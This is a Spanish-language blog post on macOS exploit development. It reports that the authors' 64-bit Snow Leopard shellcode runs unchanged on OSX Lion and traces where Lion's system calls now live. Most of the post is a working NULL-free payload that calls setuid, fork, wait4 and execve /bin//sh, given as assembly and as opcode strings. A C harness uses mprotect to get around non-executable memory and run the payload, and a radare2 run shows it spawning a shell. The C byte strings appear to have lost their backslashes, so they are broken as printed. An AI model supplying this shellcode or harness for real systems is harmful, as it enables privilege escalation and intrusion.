Probando nuestra shellcode en OSX Lion

Ahora que se ha publicado OSX Lion (10.7) hemos decidido probar nuestras shellcodes preparadas para Snow Leopard en 64bits sin cambiar ni un solo opcode. :-) El resultado es el esperado, las shellcodes se ejecutan sin problemas (cuidado con el stack-protector)
Pero en el proceso nos hemos encontrado un par de cosas curiosas.

Por un lado ya no es necesario crear un section .data y rellenar unos bytes para saltarnos el dyld y así ejecutar un binario estático sin linkar contra libSystem.B
Esto se debe a una serie de cambios muy profundos en dyld y libSystem.B

Uno de los más apreciables, es que ya no se definen las syscall en libSystem.B

    Kana:~ capi_x$ otool -p _write -tVv /usr/lib/libSystem.B.dylib

    /usr/lib/libSystem.B.dylib:
    (__TEXT,__text) section
    Can't find -p symbol: _write

Y si descompilamos toda la lib y buscamos por referencias a “write”…

    Kana:~ capi_x$ otool -tVv /usr/lib/libSystem.B.dylib | grep write
    R8289209$_write:
    00000000000142cf    jmp    0x0001441e    ; symbol stub for: _write

Ok, tenemos un símbolo definido de write, pero ni rastro de ella, busquemos contra qué está linkada ahora libSystem.B

    Kana:~ capi_x$ otool -L /usr/lib/libSystem.B.dylib

    /usr/lib/libSystem.B.dylib:
            /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 159.0.0)
            /usr/lib/system/libcache.dylib (compatibility version 1.0.0, current version 47.0.0)
            /usr/lib/system/libcommonCrypto.dylib (compatibility version 1.0.0, current version 55010.0.0)
            [...]

He recortado la salida ya que es bastante larga, pero se aprecian muchas (y muy interesantes) nuevas librerías que investigaremos a fondo, de momento nos centraremos en las syscall.
Una de las librerías linkadas es “/usr/lib/system/libsystem_kernel.dylib” que efectivamente, contiene las syscall que estamos buscando. :-)

    Kana:~ capi_x$ otool -p _write -tVv /usr/lib/system/libsystem_kernel.dylib | head -6 | tail -3
    0000000000017fd4    movl    $0x02000004,%eax
    0000000000017fd9    movq    %rcx,%r10
    0000000000017fdc    syscall

Como se aprecia, las syscall no han variado, así que nuestras shellcodes para Snow Leopard en 64bits deberían funcionar a la primera.

    Kana:~ capi_x$ cat shell64-2.s
    mov  eax, 0xfa8888a0
    add  eax, 0x07777777
    xor  rdi, rdi
    syscall    # setuid
    mov  eax, 0xfa88888b
    add  eax, 0x07777777
    syscall    # fork
    mov  eax, 0xfa888a19
    add  eax, 0x07777777
    xor  rdx, rdx
    xor  rsi, rsi
    syscall    # wait4
    mov  eax, 0xfa8888c4
    add  eax, 0x07777777
    mov  rdi, 0x68732f2f6e69622f
    push rsi
    push rdi
    mov  rdi, rsp
    syscall    # execve

Esta vez veremos un método muy cómodo para tener directamente nuestros opcodes en formato C listos para usar. ¡Copia y pega al poder! :D

    Kana:~ capi_x$ rasm2 -f shell64-2.s -b 64 -s intel -C
    "xb8xa0x88x88xfax05x77x77x77x07x48x31xffx0fx05xb8x8bx88x88xfa"
    "x05x77x77x77x07x0fx05xb8x19x8ax88xfax05x77x77x77x07x48x31xd2"
    "x48x31xf6x0fx05xb8xc4x88x88xfax05x77x77x77x07x48xbfx2fx62x69"
    "x6ex2fx2fx73x68x56x57x48x89xe7x0fx05"

Y para probarla, podemos hacerlo también desde radare2 mediante el combo rasm2/rasc2.

    Kana:~ capi_x$ rasm2 -b 64 -s intel -f shell64-2.s
    b8a08888fa05777777074831ff0f05b88b8888fa05777777070f05b8198a88fa05777777074831d24831f60f05b8c48888fa057777770748bf2f62696e2f2f736856574889e70f05
    Kana:~ capi_x$ rasc2 -s "b8a08888fa05777777074831ff0f05b88b8888fa05777777070f05b8198a88fa05777777074831d24831f60f05b8c48888fa057777770748bf2f62696e2f2f736856574889e70f05" -X
    bash-3.2$

Como podéis ver usando radare2 hacemos nuestra vida un poco mas fácil! ;)

Por otro lado, para probar nuestra shellcode también podeís hacerlo con un programita standalone. Os paso un código C que hace un mprotect ya que OSX en 64bits tiene DEP.

    /* NULL free shellcode for OSX 64bits: setuid-fork-wait-execve-binsh
     * capi_x (c) <capi_x(AT)haibane.net>   <twitter: @capi_x       */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/mman.h>
    #include <string.h>

    char shellcode[] = "xb8xa0x88x88xfax05x77x77x77x07x48x31xffx0fx05xb8x8bx88x88xfa"
    "x05x77x77x77x07x0fx05xb8x19x8ax88xfax05x77x77x77x07x48x31xd2"
    "x48x31xf6x0fx05xb8xc4x88x88xfax05x77x77x77x07x48xbfx2fx62x69"
    "x6ex2fx2fx73x68x56x57x48x89xe7x0fx05";

    int main() {
            char *sc = malloc(4096);
            memcpy(sc,shellcode,sizeof(shellcode));
            mprotect(sc, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
            (*(void  (*)()) sc )();

            free(sc);

            return(0);
    }

Happy Hacking!

“No user serviceable parts included.”